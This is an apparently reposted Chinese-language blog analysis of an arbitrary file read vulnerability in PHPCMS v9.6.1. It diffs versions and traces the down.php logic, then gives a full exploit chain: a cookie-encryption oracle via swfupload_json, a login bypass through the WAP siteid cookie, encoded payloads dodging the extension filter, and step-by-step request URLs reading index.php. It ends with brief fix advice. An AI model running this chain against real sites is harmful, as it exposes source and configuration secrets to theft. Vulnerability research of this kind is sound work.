>  기사  >  CMS 튜토리얼  >  PHPCMSv9.6.1의 임의 파일 읽기 취약점에 대한 마이닝 및 분석 프로세스를 설명합니다.

PHPCMSv9.6.1의 임의 파일 읽기 취약점에 대한 마이닝 및 분석 프로세스를 설명합니다.

coldplay.xixi
coldplay.xixi앞으로
2020-12-15 17:24:474852검색
<h2> <a href="https://www.php.cn/cms/phpcms/" target="_blank">PHPCMS使用教程</a>介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘<br> </h2> <p><img src="https://img.php.cn/upload/article/000/000/052/5fd8807224734604.jpg" alt="PHPCMSv9.6.1의 임의 파일 읽기 취약점에 대한 마이닝 및 분석 프로세스를 설명합니다." ></p> <p>推荐(免费):<a href="https://www.php.cn/cms/phpcms/" target="_blank">PHPCMS使用教程</a></p> <p>看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。</p> <h2>1.准备工作&漏洞关键点快速扫描</h2> <h3>1.1前置知识</h3> <p>这里把本次分析中需要掌握的知识梳理了下:</p> <ol> <li><p>php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。</p></li> <li><p>原生empty方法,对字符串""返回true。</p></li> <li><p>phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。</p></li> </ol> <h3>1.2 快速扫描</h3> <p>先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:</p> <pre class="brush:php;toolbar:false">--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down {                 $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));                 if(empty($a_k)) showmessage(L('illegal_parameters'));                 unset($i,$m,$f); +               $a_k = safe_replace($a_k);^M                 parse_str($a_k);                 if(isset($i)) $i = $id = intval($i);                 if(!isset($m)) showmessage(L('illegal_parameters'));                 if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));                 if(empty($f)) showmessage(L('url_invalid'));                 $allow_visitor = 1; +               $id = intval($id);^M +               $modelid  = intval($modelid);^M +               $catid  = intval($catid);^M                 $MODEL = getcache('model','commons');                 $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];                 $this->db->table_name = $tablename.'_data'; @@ -86,6 +90,7 @@ class down {                 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);                 if(empty($a_k)) showmessage(L('illegal_parameters'));                 unset($i,$m,$f,$t,$ip); +               $a_k = safe_replace($a_k);^M                 parse_str($a_k);                                 if(isset($i)) $downid = intval($i);                 if(!isset($m)) showmessage(L('illegal_parameters')); @@ -118,6 +123,7 @@ class down {                                 }                                 $ext = fileext($filename);                                 $filename = date('Ymd_his').random(3).'.'.$ext; +                               $fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);^M                                 file_down($fileurl, $filename);                         }                 }</pre> <p>主要修改了两个方法<code>init()</code>和<code>download()</code>,大胆的猜想估计是这两个函数出问题了。</p> <pre class="brush:php;toolbar:false">public function init() {         $a_k = trim($_GET['a_k']);         if(!isset($a_k)) showmessage(L('illegal_parameters'));         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1         if(empty($a_k)) showmessage(L('illegal_parameters'));         unset($i,$m,$f);         $a_k = safe_replace($a_k);//关键点2         parse_str($a_k);//关键点3         if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         $allow_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);   ......     if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点4         if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {             $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');             $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));//关键点5             $downurl = '?m=content&c=down&a=download&a_k='.$a_k;         } else {             $downurl = $f;                     } }</pre> <pre class="brush:php;toolbar:false">    public function download() {         $a_k = trim($_GET['a_k']);         $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);         if(empty($a_k)) showmessage(L('illegal_parameters'));         unset($i,$m,$f,$t,$ip);         $a_k = safe_replace($a_k);//关键点7         parse_str($a_k);//关键点8         if(isset($i)) $downid = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         if(!$i || $m<0) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($t)) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($ip)) showmessage(L(&#39;illegal_parameters&#39;)); $starttime = intval($t); if(preg_match(&#39;/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i&#39;,$f) || strpos($f, ":\\")!==FALSE || strpos($f,&#39;..&#39;)!==FALSE) showmessage(L(&#39;url_error&#39;));//关键点9 $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(&#39;illegal_parameters&#39;)); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L('url_invalid'));         if($m) $fileurl = trim($s).trim($fileurl);//关键点10         if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));//关键点11         //远程文件         if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //关键点12             header("Location: $fileurl");         } else {             if($d == 0) {                 header("Location: ".$fileurl);//关键点13             } else {                 $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);                 $filename = basename($fileurl);//关键点14                 //处理中文文件                 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {                     $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));                     $filename = urldecode(basename($filename));//关键点15                 }                 $ext = fileext($filename);//关键点16                 $filename = date('Ymd_his').random(3).'.'.$ext;                 $fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17                 file_down($fileurl, $filename);//关键点18             }         }     }</pre> <p>safe_replace函数如下</p> <pre class="brush:php;toolbar:false">function safe_replace($string) {     $string = str_replace('%20','',$string);     $string = str_replace('%27','',$string);     $string = str_replace('%2527','',$string);     $string = str_replace('*','',$string);     $string = str_replace('"','&quot;',$string);     $string = str_replace("'",'',$string);     $string = str_replace('"','',$string);     $string = str_replace(';','',$string);     $string = str_replace('<&#39;,&#39;&lt;&#39;,$string); $string = str_replace(&#39;>','&gt;',$string);     $string = str_replace("{",'',$string);     $string = str_replace('}','',$string);     $string = str_replace('\\','',$string);     return $string; }</pre> <h4>1.2 content/down模块大致流程分析</h4> <ol><li><p>init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用</p></li></ol> <p>download方法的url,url的schema为<code>$downurl='?m=content&c=down&a=download&a_k='.$a_k</code>(必须符合一定条件。)</p> <ol><li><p>download方法接收到$a_k,进行解码,解出文件信息,调用<code>file_down($fileurl, $filename)</code>( 必须符合一定条件)</p></li></ol> <p>我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!</p> <pre class="brush:php;toolbar:false">function file_down($filepath, $filename = '') {     if(!$filename) $filename = basename($filepath);     if(is_ie()) $filename = rawurlencode($filename);     $filetype = fileext($filename);     $filesize = sprintf("%u", filesize($filepath));     if(ob_get_length() !== false) @ob_end_clean();     header('Pragma: public');     header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');     header('Cache-Control: no-store, no-cache, must-revalidate');     header('Cache-Control: pre-check=0, post-check=0, max-age=0');     header('Content-Transfer-Encoding: binary');     header('Content-Encoding: none');     header('Content-type: '.$filetype);     header('Content-Disposition: attachment; filename="'.$filename.'"');     header('Content-length: '.$filesize);     readfile($filepath);     exit; }</pre> <h4>1.2.1$fileurl变量构造分析</h4> <p>如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换</p> <pre class="brush:php;toolbar:false">$fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17</pre> <p>那么可以想到我们构造出符合<code>.ph([<>]+)p</code>的文件后缀,最后会被替换成.php。而且这句话是9.6.1新增的,更加确定了,这个漏洞是9.6.1特有的。</p> <p>再向上上看</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl);//关键点10</pre> <p>变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,且$fileurl由变量$f控制。</p> <pre class="brush:php;toolbar:false">$fileurl = trim($f);</pre> <pre class="brush:php;toolbar:false">$a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8</pre> <p>通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。</p> <h4>1.2.2$a_k变量分析</h4> <p>再向上看</p> <pre class="brush:php;toolbar:false">$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);</pre> <p>这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。</p> <p>我们现在来看下init方法</p> <pre class="brush:php;toolbar:false">        $a_k = trim($_GET['a_k']);         if(!isset($a_k)) showmessage(L('illegal_parameters'));         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1</pre> <p>这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。</p> <h4>1.2.3小结</h4> <p>总结一下:</p> <p>index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。</p> <p>然后init方法会构造出符合download方法中能够解密的$a_k。</p> <p>通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。</p> <h2>2.漏洞挖掘过程</h2> <h3>2.1 init方法所接受的$a_k构造</h3> <h4>2.1.1探索正常流程中的$a_k构造过程</h4> <p>对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。</p> <p>phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k</p> <pre class="brush:php;toolbar:false">    function downfile($field, $value) {         extract(string2array($this->fields[$field]['setting']));         $list_str = array();         if($value){             $value_arr = explode('|',$value);             $fileurl = $value_arr['0'];             if($fileurl) {                 $sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : '';                 $server_list = getcache('downservers','commons');                 if(is_array($server_list)) {                     foreach($server_list as $_k=>$_v) {                         if($value && is_array($sel_server) && in_array($_k,$sel_server)) {                             $downloadurl = $_v[siteurl].$fileurl;                             if($downloadlink) {                                 $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key')));                                 $list_str[] = "<a href=&#39;".APP_PATH."index.php?m=content&c=down&a_k={$a_k}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>";                             } else {                                 $list_str[] = "<a href=&#39;{$downloadurl}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>";                             }                         }                     }                 }                     return $list_str;             }         }      }</pre> <p>但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。</p> <h4>2.1.2 黑科技构造$a_k</h4> <p>由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文</p> <ol> <li><p>方式是ENCODE</p></li> <li><p>Auth_key是系统默认的即:pc_base::load_config('system','auth_key')</p></li> <li><p>且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)</p></li> <li><p>加密后的数据有回显的。</p></li> </ol> <p>共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到</p> <pre class="brush:php;toolbar:false">public static function set_cookie($var, $value = '', $time = 0) {         $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);         $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;         $var = pc_base::load_config('system','cookie_pre').$var;         $_COOKIE[$var] = $value;         if (is_array($value)) {             foreach($value as $k=>$v) {                 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);             }         } else {             setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);         }     }     public static function get_cookie($var, $default = '') {         $var = pc_base::load_config('system','cookie_pre').$var;         return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;     }</pre> <p>param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。</p> <p>马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。</p> <ol> <li><p>set_cookie的内容是可控的。</p></li> <li><p>set_cookie的触发条件尽可能的限制小。</p></li> </ol> <p>一共找到122个匹配项,找到了两个比较好的触发点。</p> <p>phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法</p> <p>video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。</p> <p>我们来看下swfupload_json</p> <pre class="brush:php;toolbar:false">    public function swfupload_json() {         $arr['aid'] = intval($_GET['aid']);         $arr['src'] = safe_replace(trim($_GET['src']));         $arr['filename'] = urlencode(safe_replace($_GET['filename']));         $json_str = json_encode($arr);         $att_arr_exist = param::get_cookie('att_json');         $att_arr_exist_tmp = explode('||', $att_arr_exist);         if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {             return true;         } else {             $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;             param::set_cookie('att_json',$json_str);             return true;                     }     }</pre> <p>我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以"||"分割。</p> <p>我们注册个用户登录之后,调用</p> <pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn</pre> <p>产生的数据会是</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn","filename":""}</pre> <p>然后我们得到response.header中的set-cookie ["att_json"]。</p> <pre class="brush:php;toolbar:false">1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre> <p>我们修改下down.php->init方法,把DECODE之后的$a_k输出来。</p> <p>然后我们调用</p> <pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre> <p>激动人心,init方法成功DECODE了$a_k</p> <p>好了目前验证了我们的想法可行,接下来应该构造可用的payload了。</p> <h3>2.2 json和parse_str</h3> <p>目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn=q&p1=12312","filename":""}</pre> <p>解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}</p> <p>说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}</pre> <p>那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。</p> <h3>2.3 构造符合init方法的$a_k</h3> <p>我们先构造一个符合init方法的$a_k使得能完成正常的流程。</p> <pre class="brush:php;toolbar:false">        if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         $allow_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);</pre> <p>构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。</p> <pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1  src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d</pre> <p>得到</p> <pre class="brush:php;toolbar:false">3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}</pre> <p>然后提交</p> <pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ</pre> <p>成功!页面已经生成了调用download方法的url</p> <pre class="brush:php;toolbar:false"></head> <body>     <style type="text/css">          body, html{ background:#FFF!important;}     </style>         <a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a>     </body> </html></pre> <h3>2.4绕过限制构造最终payload</h3> <p>目前正常流程已经走通,把目光集中在如何构造出符合的$fileurl,来看下init方法中</p> <pre class="brush:php;toolbar:false">if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {     $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');     $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));     $downurl = '?m=content&c=down&a=download&a_k='.$a_k;     } else {         $downurl = $f;                 }</pre> <p>对f的限制还是蛮多的,包括常规黑名单检测php,asp等。也不能出现"..",":\"</p> <p>还好我们看到download函数中</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl);//关键点10</pre> <p>我们可以通过控制$m就可以通过$s来构造了,而$m和$s参与了$a_k的构造。</p> <p>在init方法中我们可以构造 m=1&s=.php&f=index 类似的来绕过init方法的检测,我们把目光聚焦到download方法。</p> <pre class="brush:php;toolbar:false">//常规检测代码就不贴了,$i,$t,$m,$modelid,$t,$ip的检测。 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));     $fileurl = trim($f);</pre> <p>通过这样的构造上面这个检测肯定可以绕过,但发现下面检测就会出问题,最后$fileurl还是会变成index.php</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl); if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));         //远程文件</pre> <p>好在快速扫描中看到的</p> <pre class="brush:php;toolbar:false">$fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17</pre> <p>另外又看到</p> <pre class="brush:php;toolbar:false">if($d == 0) {     header("Location: ".$fileurl);</pre> <h4>2.4.1 urlencode编码“<>”</h4> <p>那么构造出 d=1&m=1&f=.p<hp&s=index 这样的payload就可以绕过检测,实现漏洞利用,当然期间涉及一些编码转换就不再赘述了。</p><p>最终pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=</p><p>由于safe_replce的存在所以<code><</code>会被过滤掉,前置知识中我已经说到parse_str会自动encode一次。</p><p>所以可以构造</p><p>d=1&m=1&f=.p%3chp&s=index</p><p>我们发现在init方法中会safe_replace一次,和parse_str一次。</p><p>那么最终编码到download $a_k中的数据实际还是<,而download方法中也会safe_replace和parse_str一次。</p><p>所以我们要确保在init方法编码的时候是%3c即可,对%3c进行一次urlencode,构造</p><p>d=1&m=1&f=.p%253chp&s=index</p><p>当然要读取别的目录的,那同样对目录路径进行编码。</p><h3>2.4.2最终payload</h3><p>以读取首页index.php为例</p><pre class="brush:php;toolbar:false">pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d</pre><pre class="brush:php;toolbar:false">8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ {"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY</pre><p>最终提示下载文件,文件下载成功,打开来看确实是index.php内容。</p><h3>2.5绕过attachment模块权限限制完成无限制利用</h3><pre class="brush:php;toolbar:false">class attachments { private $att_db; function __construct() { pc_base::load_app_func(&#39;global&#39;); $this->upload_url = pc_base::load_config('system','upload_url');         $this->upload_path = pc_base::load_config('system','upload_path');                 $this->imgext = array('jpg','gif','png','bmp','jpeg');         $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));         $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;         $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;         //判断是否登录         if(empty($this->userid)){             showmessage(L('please_login','','member'));         }     }</p> <p>可以发现</p> <pre class="brush:php;toolbar:false">sys_auth($_POST['userid_flash'],'DECODE')</pre> <p>可控制$this->userid且没有复杂的权限校验,而且又是默认AUTH_KEY加密的。</p> <p>全文找下无限制可以set_cookie的,发现WAP模块可以利用</p> <pre class="brush:php;toolbar:false">pc_base::load_sys_class('format', '', 0); class index {     function __construct() {                 $this->db = pc_base::load_model('content_model');         $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);         param::set_cookie('siteid',$this->siteid);             $this->wap_site = getcache('wap_site','wap');         $this->types = getcache('wap_type','wap');         $this->wap = $this->wap_site[$this->siteid];         define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);         if($this->wap['status']!=1) exit(L('wap_close_status'));     }</pre> <p>没有任何条件限制我们可以$_GET['siteid']来控制param::set_cookie('siteid',$this->siteid),且默认都有WAP模块的文件,但不需要开启。</p> <h2>3.EXP编写</h2> <p>流程如下:</p> <ol> <li><p>index.php?m=wap&c=index&siteid=1 获取名称为siteid的cookie。</p></li> <li> <p>访问index.php?m=attachment&c=attachments&a=swfupload_json&aid=1</p> <pre class="brush:php;toolbar:false">&src=想要读取文件的payload,并且访问的时候设置post字段userid_flash为步骤一获取的cookie.</pre> </li> </ol> <p>响应成功之后,获取名称为att_json的cookie</p> <ol><li><p>访问index.php?m=content&c=down&a=init&a_k=获取到的att_json,来构造最终漏洞利用路径,</p></li></ol> <p>可以直接截取生成的$a_k</p> <ol><li><p>访问index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。</p></li></ol> <h2>4. 복구 계획 </h2> <p>init 메소드에서 sys_auth의 $a_k 암호화 및 복호화에 기본 키를 사용하지 마십시오. </p> <p>file_down 전에 $fileurl을 다시 필터링하세요. </p>

위 내용은 PHPCMSv9.6.1의 임의 파일 읽기 취약점에 대한 마이닝 및 분석 프로세스를 설명합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 segmentfault.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제